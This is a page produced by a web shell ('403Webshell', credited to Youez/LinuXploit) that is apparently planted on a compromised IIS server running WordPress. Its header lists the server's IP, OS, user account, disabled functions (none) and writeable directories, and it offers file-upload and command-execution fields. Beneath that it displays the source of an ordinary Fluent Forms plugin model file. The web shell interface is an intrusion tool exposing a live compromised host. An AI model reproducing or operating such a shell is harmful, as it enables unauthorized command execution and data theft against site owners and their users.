403Webshell
Server IP : 103.191.208.88  /  Your IP : 216.73.216.44
Web Server : Microsoft-IIS/10.0
System : Windows NT COSMIC 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_1831(willswel_) ( 0)
PHP Version : 8.2.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/plugins/fluentform/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/Inetpub/vhosts/willswell.com/httpdocs/wp-content/plugins/fluentform/app/Models//Model.php
<?php

namespace FluentForm\App\Models;

use DateTimeInterface;
use FluentForm\Framework\Database\Orm\Model as BaseModel;

class Model extends BaseModel
{
    /**
     * The attributes that aren't mass assignable.
     *
     * @var array
     */
    protected $guarded = ['id', 'ID'];

    /**
     * Serialize dates to Y-m-d H:i:s format for backward compatibility.
     *
     * The framework v2 defaults to ISO 8601 (e.g. 2026-03-03T08:54:40+00:00)
     * but existing JS code expects the simple Y-m-d H:i:s format.
     *
     * @param DateTimeInterface $date
     * @return string
     */
    protected function serializeDate(DateTimeInterface $date)
    {
        return $date->format('Y-m-d H:i:s');
    }

    /**
     * Get the number of models to return per page.
     *
     * @return int
     */
    public function getPerPage()
    {
        $request = wpFluentForm('request');

        return intval(
            $request->get('per_page', $request->get('perPage', $this->perPage))
        );
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit